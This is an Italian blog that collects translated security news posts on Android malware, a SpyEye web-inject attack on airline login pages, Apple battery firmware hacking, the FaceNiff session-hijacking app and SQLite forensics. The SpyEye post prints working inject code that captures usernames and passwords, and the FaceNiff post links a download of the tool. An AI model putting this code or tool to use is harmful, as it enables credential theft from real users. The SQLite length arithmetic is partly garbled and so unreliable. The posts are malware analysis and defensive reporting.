Violare le batterie dei laptop Apple

Il post seguente è stato tradotto per gentile concessione di Schneier on Security

Interessante :

Il ricercatore ed esperto di sicurezza Charlie Miller, molto noto per il suo lavoro su Mac OS X e Apple IOS, ha scoperto un metodo interessante per disabilitare completamente le batterie sui laptop Apple, rendendoli definitivamente inutilizzabili; oltre a consentire di eseguire un certo numero di altre azioni. Il metodo, che prevede l’accesso e l’invio di istruzioni al chip ospitato sulle batterie intelligenti, potrebbe essere utilizzato anche per altri scopi ancor più dannosi.

[...]

Miller ha scoperto che le batterie vengono spedite dalla fabbrica in “sealed mode” e che, per modificare tale stato, è necessaria una password di quattro byte.
Analizzando un paio di aggiornamenti che Apple aveva inviato per risolvere alcuni problemi delle batterie in passato, ha scoperto la password ed è riuscito a portare la batteria in “unsealed mode”.

In questo modo è stato in grado di fare alcune piccole modifiche al firmware, ma non quello che avrebbe voluto veramente. Indagando ulteriormente ha scoperto che era necessaria una seconda password per poter accedere completamente alla batteria e dargli la possibilità di apportare le modifiche desiderate. La password di default non viene cambiata sui laptop prima di essere spediti. Così Miller ha scoperto che avrebbe potuto fare parecchie cose interessanti.

Ha detto che “così potrete accedere allo stesso livello della fabbrica”. “Potrete leggere tutti i firmware, apportare modifiche al codice, fare quello che volete. E queste modifiche al codice resisteranno a una reinstallazione del sistema operativo, quindi è possibile pensare di scrivere malware che potrebbe nascondersi sul chip della batteria. Ma servirà una vulnerabilità nell’SO, o qualcosa che la batteria potrebbe sfruttare per l’attacco. ”

I componenti diventano più intelligenti, ma anche più vulnerabili.

Fonte: Hacking Apple Laptop Batteries


Posted in Bruce Schneier, Traduzioni inglese-italiano by with no comments yet.

ShareMeNot

Il post seguente è stato tradotto per gentile concessione di Schneier on Security

ShareMeNot è un componente aggiuntivo per Firefox che impedisce il monitoraggio dei pulsanti di terze parti (come il pulsante “Mi piace” di Facebook , o “+1 ” di Google ), a meno che l’utente non scelga di interagire con quest’ultimi. ShareMeNot non disabilita/rimuove completamente questi pulsanti, ne permette il rendering sulla pagina, ma impedisce l’invio dei cookie, fino a quando l’utente non faccia effettivamente clic su di loro; a quel punto ShareMeNot rilascia il cookie e l’utente ottiene il comportamento desiderato (ad esempio, usare il “Mi piace”, o “+1″ su una pagina).

Fonte: ShareMeNot


Posted in Bruce Schneier, Traduzioni inglese-italiano and tagged by with no comments yet.

Delle minacce di Android: Spyware:Android/SndApps.A e Trojan:Android/SmsSpy.D

Il post seguente è stato tradotto per gentile concessione di F-Secure

Il malware per Android sembra essere di gran moda al momento. Ecco alcuni commenti in merito ad un paio di interessanti questioni accessorie che sono sorte durante le nostre analisi.

Ecco la prima: c’è stato un report recente in merito ad applicazioni sospette trovate nell’Android Market ufficiale. Le app in questione, da allora, sono state ritirate ma il nostro threat hunting team s’è imbattuto in loro in forum e altri luoghi simili, generalmente promossi come ‘app gratuite’.

Le stesse applicazioni sembrano essere semplici giochi. Ad un certo punto, però, pare siano stati inseriti alcuni servizi aggiuntivi. Le versioni precedenti non richiedevano altro che l’accesso a Internet:

permissions_internet (104k image)

Le versioni successive, però, tendono ad andare un po’ più sul personale:

application_permissions (47k image)

new_permissions (169k image)

Dopo le modifiche, l’app è in grado di accedere a varie parti di informazioni del dispositivo: il carrier e il paese, l’ID del dispositivo, l’indirizzo e-mail e il numero di telefono.

services (92k image)

Le informazioni vengono inviate a un server remoto.

Un’ulteriore modifica permette a questa app di inserire una piccola icona che, se si fa clic, porta l’utente ad altre app, che, presumibilmente, potrebbe voler provare. Le app pubblicizzate sembrano mostrare lo stesso comportamento sospetto.

applications (66k image)

La cosa interessante è che entrambe le versioni, sia la precedente “irrilevante” che la successiva “sospetta”, sembrano provenire dagli stessi sviluppatori:

comparison (56k image)

Sembra essere un caso di nuovi comportamenti discutibili aggiunti in un secondo momento ad un’applicazione esistente e non un app riconfezionata con l’aggiunta di routine estranee e dannose. Ne stiamo ancora esaminando i vari aspetti, ma, per ora, in base al comportamento osservato rileviamo queste app come Spyware:Android/SndApps.A

Questo caso ci interessa, in quanto sembra essere un’evoluzione nello sviluppo di applicazioni Android, in particolare ‘greyware’. Questo tipo di comportamento sembra confermare una delle nostre previsioni precedenti, secondo la quale uno sviluppatore “fidato” sarebbe in grado di far uscire un aggiornamento contenente routine sospette/indesiderate/non etiche, che potrebbero invadere la privacy dell’utente.

Le nuove routine inserite potrebbero ottenere informazioni sugli utenti ed essere utilizzate per altri scopi, come l’invio di messaggi pubblicitari o spam. Nel peggiore dei casi, i dettagli possono essere venduti a terzi. Non avremmo modo di sapere cosa si stia facendo con le informazioni.

In un altro caso, ancora più recente, abbiamo discusso dello strano comportamento di un’altra app Android segnalata , questa volta un trojan.

Non aveva senso che il trojan intercettasse un messaggio SMS, per poi inviarlo ad un indirizzo di loopback:

smsspy_loopback (131k image)

Dalla nostra indagine pare che questa app possa essere un programma di test. Lo rileviamo come Trojan:. Android/SmsSpy.C

In ogni caso, uno dei nostri threat hunter ha trovato un file (SHA1: 7d8004b107979e159b307a885638e46fdcd54586) che sembra essere maggiormente utile:

smsspy_link (160k image)

Questo sembra aver più senso. Lo rileviamo come Trojan:Android/SmsSpy.D

—–

Analisi e post di: Zimry, Irene, Raulf e Leong

Fonte: On Android threats Spyware: Android/SndApps.A and Trojan:Android/SmsSpy.D


Posted in F-Secure, Traduzioni inglese-italiano and tagged , , by with no comments yet.

Malware di Android spia i vostri messaggi sms. Ma fa parte della famiglia di Zeus?

Il post seguente è stato tradotto per gentile concessione di Naked Security

Malware di Android I moduli Symbian , Windows Mobile e Blackberry del famigerato toolkit di malware Zeus (noto anche come ZBot), sono noti da mesi ed era chiaro che la gang di Zeus fosse interessata allo sviluppo di malware per piattaforme mobili.

Tuttavia, finora, non abbiamo visto alcuna prova che Zeus prenda di mira gli utenti che possiedono dispositivi Android o IOS (iPhone/iPad).

Questo fatto ci ha abbastanza sorpreso, considerando la popolarità delle piattaforme Android e IOS e la crescente diffusione di malware scritti in particolare per il sistema operativo Android di Google.

Negli ultimi due giorni, però, ci sono state parecchie discussioni sulle mailing list dedicate all’analisi del malware mobile in merito a una versione Android di Zeus.

Alla fine siamo giunti alla conclusione che si trattasse di un’applicazione nociva che i prodotti Sophos rilevano, già dal 31 maggio 2011, come Andr/SMSRep-B .

L’applicazione nociva finge di essere una versione Android del software di sicurezza bancaria Trusteer Rapport ed è stata inviata ai dispositivi con l’SO Android di Google da un web server creato per distribuire il malware Zbot a diverse piattaforme.

Dopo il fatto, non è stato difficile connettere l’applicazione Android allo Zeus toolkit, anche se non siamo certi al 100% che ci fosse una connessione.

L’applicazione installata utilizza un’icona rubata a Rapport e mostra una semplice schermata quando viene lanciata sul dispositivo colpito.

Zeus Rapport

La falsa applicazione Rapport si registra come Broadcast receiver, intercetta tutti gli SMS ricevuti e inoltra i messaggi a un server web nocivo mediante richieste HTTP POST. I messaggi SMS rubati sono codificati utilizzando uno schema di codifica JSON, spesso utilizzato da vari servizi web.

Anche se l’applicazione è chiaramente progettata per sottrarre il contenuto dei messaggi SMS, non è molto elaborata.

Per questo non possiamo essere sicuri al 100% che sia realmente parte del kit Zeus. L’URL del server command and control è hardcoded nel codice sorgente, ad esempio, e ciò non rende l’applicazione molto versatile per essere installata su un server alternativo.

Tuttavia, questa applicazione nociva per Android è interessante, in quanto combina le funzionalità spyware con il concetto di software di sicurezza fasullo. Come abbiamo visto di recente nel mondo di Mac OS X, il falso software antivirus è uno dei temi più comuni adottato dagli hacker malintenzionati durante i loro attacchi.

Alla fine il dubbio se questo faccia realmente parte della famiglia Zeus o meno, rimane.

Suppongo che solo gli sviluppatori dello Zeus kit lo sappiano per certo. Purtroppo non ho modo di contattarli e anche se l’avessi, dubito che sarebbero disposti a confermare o smentire questa teoria.

Fonte: Android malware spies on your SMS messages – but is it part of the Zeus family?


Posted in Naked Security, Traduzioni inglese-italiano and tagged , , , , by with no comments yet.

Il trojan SpyEye colpisce siti web di compagnie aeree che accettano carte di debito bancarie

Il post seguente è stato tradotto per gentile concessione di Trusteer

Abbiamo scoperto una versione di SpyEye che colpisce gli utenti dei siti web di due compagnie aeree leader in Europa: Air Berlin, seconda compagnia aerea in Germania (dopo Lufthansa) e AirPlus, fornitore globale di servizi di business travel per le aziende. SpyEye usa la macchina dell’utente, non i siti, per effettuare questo tipo di frode.

I soggetti da attaccare sono ben lungi dall’essere scelti a caso ma, crediamo, siano accuratamente scelti per il loro potenziale di guadagno criminale. Un sito accetta pagamenti con carte di debito, mentre l’altro si rivolge agli utenti aziendali.

Air Berlin, la sesta compagnia aerea in Europa, non solo accetta carte di debito e di credito; ma permette ai cittadini austriaci, olandesi e tedeschi di pagare con addebito bancario diretto sette giorni prima della partenza.

Di conseguenza, i criminali che colpiscano un viaggiatore Air Berlin da questi paesi, hanno una buona probabilità di ottenere i dati personali degli utenti; tra cui la data di nascita, obbligatoria sul sito della compagnia aerea, così come i loro dati bancari.

Air Plus, invece, offre una varietà di servizi per le aziende di tutte le dimensioni tramite il loro sito, tutti pagati con carte di pagamento aziendali, immancabilmente connesse a conti bancari aziendali.

Visto che i conti aziendali tendono ad avere saldi (o limiti di credito) maggiori rispetto ai conti consumer, hanno un potenziale di guadagno cibercriminale maggiore per quanto riguarda la prospettiva della raccolta dati.

Nel caso dell’attacco di Air Berlin, SpyEye cerca di raccogliere informazioni riservate degli utenti, tra cui nomi utente e password e altri dati inseriti nella pagina web colpita. Dal momento che Air Berlin accetta pagamenti con carte di debito bancarie, il potenziale di frode è ancora maggiore.

Il codice dell’injection di SpyEye cattura le informazioni in merito ai dettagli di nomi utente e password:

<WebInjects action=”Inject|POST|GET”>
<Url><![CDATA[https://www.airberlin.com/site/yab/login/login*]]></Url>
<AuxUrl><![CDATA[]]></AuxUrl>
<WebInject>
<Before><![CDATA[<body>]]></Before>
<Data><![CDATA[<iframe name=ifr1 id=ifr1 src="https://www.airberlin.com/site/images/spacer.gif" width=0 height=0 border=none>
</iframe>
<form id=form7 name=form7 target=ifr1 method=post action="https://www.airberlin.com/site/images/spacer.gif">
<input type="hidden" name="cc" id="cc" />
<input type="hidden" name="pas" id="pas" />
</form>
<script>
function dosubmit(){
document.form7.cc.value=document.getElementById('login').value;
document.form7.pas.value=document.getElementById('pass').value;
document.form7.submit();
}
</script>]]></Data>
<After><![CDATA[]]></After>
</WebInject>
<WebInject>
<Before><![CDATA[name="yabLogin" id="yabLogin"]]></Before>
<Data><![CDATA[ onclick="dosubmit()"]]></Data>
<After><![CDATA[]]></After>
</WebInject>

La metodologia di attacco di AirPlus, invece, colpisce gli utenti della carta di credito Lufthansa Miles & More del circuito Visa che offre viaggi premio per gli acquisti effettuati con la carta.

Simile all’attacco di Air Berlin, il codice di SpyEye colpisce l’URL di login del portale AirPlus:

<Url><![CDATA[https://portal.airplus.com/welcome*]]></Url>
<Url><![CDATA[https://www.miles-and-more.kartenabrechnung.de/welcome*]]></Url>

In questo caso, SpyEye, inietta il codice nel browser degli utenti, sostenendo di essere un miglioramento anti-frode.

In realtà, naturalmente, è un tentativo abilmente dissimulato di effettuare il phishing delle credenziali dell’ignaro cliente del portale di AirPlus.

Queste credenziali sono molto complete: includono tipo e numero della carta, la data di scadenza, il codice CVV (banda della firma del titolare) e, come per l’attacco ad Air Berlin, la data di nascita dell’utente.

La sottrazione delle date di nascita dell’utente permette il furto d’identità e – come abbiamo osservato – la frode impersonando l’utente e utilizzando metodi di attacco tramite social engineering ( si fa riferimento a un blog recente?)

Conclusioni

È importante capire che, ormai, il crimine informatico è altamente organizzato, con specializzazione delle funzioni all’interno dei diversi membri della gerarchia criminale.

Ciò significa che le gang di darkware coding, creatrici di queste varianti di SpyEye, stanno scegliendo con cura i loro obiettivi per ottenere il massimo rendimento con il minimo sforzo.

Inoltre, aumentando il rendimento di ogni vittima, le possibilità di rivendere i dati vanno ben al di là dei semplici forum di carder visti in quest’ultimi anni.

Siamo convinti che la(le) gang di cibercriminali dietro a questi attacchi, stia(no), quasi certamente, utilizzando una metodologia semi-automatica di sviluppo del codice, che consenta (loro) di sviluppare versioni personalizzate del malware per scopi specifici.

Chiaramente il commercio turistico permette ai cibercriminali di accedere alle credenziali degli account utente e aziendali con saldi e limiti di credito più grandi del normale.

“La ciliegina sulla torta” di poter accedere anche ai dettagli del conto bancario di Air Berlin in Austria, Germania e Paesi Bassi, è indice di ingegno mirato.

Purtroppo, i tradizionali meccanismi di sicurezza antivirus non sono per niente in grado di proteggere gli utenti aziendali dall’infezione di SpyEye, in quanto utilizza un’individuazione mirata, unitamente a tecniche di evasione della rilevazione della firma per mettere piede all’interno dei computer.

Un’alternativa migliore per proteggere i servizi basati sul web, è quella di realizzare un accesso sicuro al web. Ad esempio, strumenti di sicurezza basati su browser che rendano la comunicazione sicura tra il computer e il sito web del servizio cloud del provider, possono impedire ai metodi di attacco più comuni, come l’iniezione di codice HTML e il keylogging, di catturare dati. Queste stesse tecnologie possono essere usate per proteggere altre applicazioni basate su browser, come VPN, CRM, i sistemi retail, finanziari e di collaborazione che possono essere sfruttati da malware per rubare le credenziali utente e violare il perimetro di sicurezza di un’impresa del tutto inosservati.

Attendiamo di vedere versioni ancor più specializzate di SpyEye a breve.

Fonte: SpyEye Trojan Targets Airline Website that Accepts Bank Debit Card


Posted in Traduzioni inglese-italiano, Trusteer and tagged , , , by with no comments yet.

Un altro malware per Android utilizza un root exploit

Il post seguente è stato tradotto per gentile concessione di F-Secure

È stato scoperto un altro malware per Android che usa il root exploit “Rage Against The Cage” e lo abbiamo identificato come Trojan:Android/DroidKungFu.A .

Questo nuovo malware era integrato in un’applicazione trojan che potrebbe richiedere un accesso di root per non essere visibile.

L’infezione avviene in due parti:

Infezione: Parte 1

La prima parte consiste nell’installazione di un’applicazione trojan che otterrà i privilegi di root e installerà l’applicazione com.google.ssearch . Questa applicazione punterà al service component Trojan: Android/DroidKungFu.A che attiverà il servizio com.google.ssearch.Receiver.

Dopo averlo creato, chiamerà la funzione getPermission () che installerà un APK embedded.

droidkungfu_create (47k image)

droidkungfu_getpermission (56k image)

Questo richiamerà checkPermission (), che controllerà se com.google.ssearch.apk sia già presente. In caso contrario verrà installato il file “legacy”, un file APK, in “system/app” (la cartella dell’applicazione).

Infezione: Parte 2

La seconda parte ha a che fare con il componente principale del malware, com.google.ssearch.apk. Come potremmo ricordare, questo componente era presente anche nell’applicazione col trojan.

Ecco una schermata che mostra com.google.ssearch.apk installato.

droidkungfu_screen (194k image)

Il malware sembra avere una funzionalità di backdoor. Ecco alcune delle capacità che abbiamo notato:

  • execDelete – eseguire un comando per cancellare un file
  •  

  • execHomepage – eseguire un comando per aprire una pagina
  •  

  • execInstall – scaricare e installare un APK
  •  

  • execOpenUrl – aprire un URL
  •  

  • execStartApp – eseguire o avviare un pacchetto applicativo
  •  

Trojan: Android/DroidKungFu.A potrebbe ottenere le seguenti informazioni e inviarle a un server remoto:

  • imei – numero IMEI
  •  

  • ostype – versione build, ad esempio 2.2
  •  

  • osapi – versione SDK
  •  

  • mobile – numero di cellulare degli utenti
  •  

  • mobilemodel – modello del telefono
  •  

  • netoperator – Operatore di rete
  •  

  • nettype – Tipo di connettività di rete
  •  

  • managerid – un valore hard-coded che è “sp033″
  •  

  • sdmemory – memoria disponibile della scheda SD
  •  

  • aliamemory – memoria disponibile nel telefono
  •  

Root è impostato a 1, come per significare “con root” e queste informazioni vengono inviate successivamente a “http://search.gong [...]. php.”

Il malware riceve i comandi da “http://search.gong [...]. php” mediante il posting nell’ “imei”, “managerid” e il valore di root.

Inoltre segnala lo stato dei comandi su “http://search.gong [...]. php” mediante il posting in “imei”, “taskid”, “state” e “comment”.

Soluzioni inviate da Zimry

Fonte: Another Android malware utilizing a root exploit


Posted in F-Secure, Traduzioni inglese-italiano and tagged , , by with no comments yet.

Nuova variante di DroidDream trovata sui telefoni Android

Il post seguente è stato tradotto per gentile concessione di F-Secure

Android è diventato l’obiettivo principale del malware mobile.

Ecco “Hot Girls 1 “, ieri era ancora disponibile per il download dall’Android Market:

hot girls 1

Questa applicazione, inizialmente, era innocua. Ma un pericoloso sviluppatore, chiamato “Magic Photo Studio”, ha scaricato l’applicazione originale, l’ha modificata e ha rifatto l’upload sull’Android Market.

Come risultato finale, durante l’installazione di “Hot Girls 1″, potrete notare che richiede permessi sospetti, specialmente per un’applicazione che dovrebbe soltanto mostrare immagini di, beh, ragazze focose:

hot girls 1 hot girls 1

Il pericoloso sviluppatore ha inserito codice che si attiva quando il telefono riceve una chiamata.

hot girls 1

Il codice aggiuntivo si connette ad un server e invia dettagli sul dispositivo infetto agli autori del malware. Quindi stiamo parlando di una botnet mobile.

Il nostro prodotto per la sicurezza di Android F-Secure Mobile Security , la blocca come una variante del trojan DroidDream, chiamata Trojan:Android/DroidDream.B

Dozzine di esempi di applicazioni infette sono state trovate nell’Android Market, pubblicate con i nomi dello sviluppatore, quali Magic Photo Studio, BeeGoo e Mango Studio .

Google, ora, li ha rimossi dal Market.

Fonte: New DroidDream Variant Found on Android Phones


Posted in F-Secure, Traduzioni inglese-italiano and tagged , , , , , by with no comments yet.

FaceNiff – rendere FireSheep mobile – effettuare sniffing e intercettare sessioni web con Android

Il post seguente è stato tradotto per gentile concessione di Darknet

FaceNiff è un’applicazione per Android che consente di effettuare lo sniffing e intercettare i profili delle sessioni web alle quali il vostro cellulare è connesso.
È possibile effettuare l’hijack delle sessioni solamente quando il WiFi non utilizza EAP, ma dovrebbe funzionare su tutte le reti private (Open/WEP/WPA-PSK/WPA2-PSK).

È un po’ come Firesheep per Android, ma probabilmente un po’ più facile da usare (e funziona su WPA2!).

Da notare che è richiesto un telefono con privilegi di root. Se l’utente web utilizza SSL questa applicazione non funzionerà. Per sua natura è molto telefono-dipendente quindi, per favore, fate sapere all’autore se non funziona.
C’è un bel demo video di come funzioni qui:

Servizi supportati:

  • FaceBook
  • Twitter
  • Youtube
  • Amazon
  • Nasza-Klasa

È possibile scaricare FaceNiff qui:
FaceNiff-1.9.4.apk

Oppure per maggiori informazioni leggete qui .

Fonte: FaceNiff – Taking FireSheep Mobile – Sniff & Intercept Web Sessions With Android


Posted in Darknet, Traduzioni inglese-italiano and tagged , by with no comments yet.

Siti di phishing ospitati sui server di Google

Il post seguente è stato tradotto per gentile concessione di F-Secure

Google Documenti permette agli utenti di creare documenti, fogli di calcolo, eccetera su google.com (ospitato nella cloud di Google):

spreadsheets.google.com

I fogli di calcolo possono contenere anche alcune funzionalità, come i form, che possono essere messe a disposizione di chiunque.

Purtroppo ciò significa vedere regolarmente siti di phishing nei fogli di calcolo di Google Documenti, ospitati su spreadsheets.google.com.

Ecco alcuni esempi:

spreadsheets.google.com

spreadsheets.google.com

spreadsheets.google.com

Sono attacchi seri, visto che le pagine di phishing sono ospitate sul reale google.com, con tanto di certificato SSL valido.

spreadsheets.google.com

Durante le nostre ricerche, ci siamo imbattuti in questo form del foglio di calcolo di Google:

spreadsheets.google.com

Nonostante tutti i nostri sforzi, non riusciamo a capire se si tratti di phishing, o di una pagina valida gestita da Google [vedi sotto per la risposta].

Inizialmente la pagina si presenta, ovviamente, come phishing: è ospitata sul server pubblico spreadsheets.google.com, dove chiunque può ospitare form.
E chiede il vostro numero Google Voice, indirizzo e-mail e il codice PIN segreto .

Ma poi, trovate anche fantomatici dipendenti di Google che si linkano al form .

Quindi, non riusciamo a capire. Voi?

Ecco l’URL:

https://spreadsheets.google.com/viewform?formkey=cjlWRDFTWERkZEIxUzVjSmNsN0ExU1E6MA

Se ci capite qualcosa, fatecelo sapere tramite i commenti .

Aggiornamento : secondo l’opinione generale, su Twitter, sembra si tratti di un sito di phishing. Ma la giuria è ancora riunita per deliberare.

spreadssheets

Aggiornamento : siamo stati contattati da un dipendente di Google.

Ci hanno informato che, sorprendentemente, la pagina in questione è proprio il form ufficiale di Google per richiedere il trasferimento dell’account di Google Voice. Ci hanno anche detto di rimuovere tutti i riferimenti al form in questo post del blog. Ma temo non sia possibile farlo.

Fonte: Phishing Sites Hosted on Google’s Servers


Posted in F-Secure and tagged , by with no comments yet.

Record di SQLite

Il post seguente è stato tradotto per gentile concessione di Mobile Device Forensics

Sono affascinato da SQLite. Ma prima che possiate dire “Mike hai proprio bisogno di uscire di più e farti una vita! ” considerate questo: i due sistemi operativi per smartphone più popolari attualmente sono IOS e Android e utilizzano database SQLite per memorizzare informazioni importanti, come contatti, SMS e i record delle chiamate. Si tratta di parecchi utenti: sia vittime che carnefici. Vi siete mai chiesti come SQLite strutturi i suoi record? Comprenderne l’architettura è fondamentale per avvalorare l’output degli strumenti di forensic e sapere dove cercare le prove, incluse quelle preziose informazioni eliminate.

Le immagini del database SQLite iniziano sempre con una ben nota signature a 16 byte che, in ASCII, è rappresentata dal “formato SQLite3″ seguito da un byte null. L’header dell’immagine del database è di 100 byte. Una discussione completa sull’header dell’immagine del database si può trovare sulla pagina ufficiale di SQLite .

Tra le altre cose un’immagine del database, serializzata e ben formata, avrà uno schema di database o un layout di tabella. Conoscere lo schema delle tabelle è la parte chiave della conoscenza, in quanto fornirà la guida verso l’header del record e dei conseguenti contenuti dei record.

Come esempio useremo un record del database degli SMS di un iPhone di prima generazione con iOS versione 3.13. Di seguito è riportato una schermata dello schema della tabella dei messaggi, che usa il mio editor Mac SQLite preferito: Base .

Schema

Schema

Preso atto dello schema della tabella dei messaggi all’interno del database sms, diamo un’occhiata a un record con un editor esadecimale.

SQLite Record

Record SQLite

Il record è strutturato come mostra il grafico sottostante.

Struttura record SQLite

Struttura record SQLite

Inoltre il record utilizza i valori della tabella sottostante per rappresentare i valori dei byte.

Header Values

Valori Header

Prendiamo il nostro esempio e analizziamo l’header del record. Il primo byte, ovviamente, rappresenta la lunghezza del nostro record: in questo caso il record è di 110 byte. Il secondo byte è la nostra chiave.

Record Length and Key

Lunghezza dei record e chiave

Il byte successivo rappresenta la lunghezza dell’header del nostro record includendo questo byte, che è di 19 byte.

Record Header Length

Lunghezza dell’header del record

Il byte successivo è null, il che indica che il valore non è incluso nel record. Questo sarebbe stato rappresentato dal ROWID dello schema. Il byte successivo corrisponde alla riga dell’indirizzo nello schema. Il byte 0×27 è dispari e maggiore di 13. Secondo la nostra tabella questo corrisponde al testo e la lunghezza in byte è calcolata prendendo il valore decimale sottraendo tredici e dividendo per due.

39 -13 = 26 / 2 = 13

Possiamo vedere dal grafico sottostante che l’indirizzo, o il numero di telefono, è in realtà 13 byte di lunghezza.

Lunghezza indirizzo

Lunghezza indirizzo

Il byte successivo, 0×4, corrisponde nello schema alla data dell’SMS. Si tratta di un valore di quattro byte memorizzato in epoch time. Il valore qui è 1296980309 e si traduce in Dom, 06 Feb 2011 09:18:29 GMT+1.

Date and Time Stamp

Data e Time Stamp

Il byte successivo, 0×81 è, come indicato nello schema, il messaggio di testo; ma è l’unico. SQLite utilizza un metodo di compressione basato sulla codifica di Huffman per memorizzare i valori maggiori di 127 bit. In questo caso il byte nell’header del record che indica il messaggio di testo è \X81 o 129 e, di conseguenza, maggiore di 127. Dato che il metodo utilizza 2 byte fino ad un valore decimale di 16383, si può assumere che il byte successivo \x0d stia anche per la lunghezza del messaggio di testo. Il metodo per calcolare la lunghezza del messaggio di testo è il seguente: dove X = il valore del primo byte e Y = il valore del secondo byte.

(X-128) x 128 + Y

Dopo aver eseguito il calcolo ecco il risultato:

(129-128) x 128 + 13
\ X142

Per trovare la lunghezza dell’header ora facciamo riferimento alla tabella e calcoliamo normalmente:

(N-13) / 2
(129) / 2
64

Questa, infatti, è la lunghezza del messaggio di testo. Il messaggio è puro esa in ascii.

Message Length

Lunghezza messaggio

Il byte successivo nell’header è 0×1 e nello schema si riferisce alla riga dei flag. Il valore in questo caso è 0×02, ciò significa che si tratta di un testo in entrata.

Flags

Flags

L’ultimo byte significativo compare nell’offset 17 del record e, come indica la nostra tabella, è un valore maggiore di 13 (0×11 = decimale 17).
Poiché il calcolo è N-13/2 il valore che abbiamo qui è 2 byte e si riferisce, nello schema, al paese. Nel nostro esempio è 0x6A 0x6F, o “Jo”, per la Giordania.

Country

Paese

Spero che troverete utile questo post nelle vostre imprese di forensic. Questo post non sarebbe stato possibile senza il generoso aiuto e il consiglio di DC Shafik Punja di Calgary e Sheran Gunasekera di ZenConsult Pte Ltd.

Le ricerche sulla codifica di Huffman nei record di SQLite è stata condotta utilizzando l’articolo Murilo Tito Pereira “Analisi della forensic della cronologia Internet di Firefox 3 e il recupero dei record eliminati di SQLite” pubblicato da Elselvier.

Fonte: SQLite Records


Posted in Mobile Device Forensics, Traduzioni inglese-italiano and tagged by with no comments yet.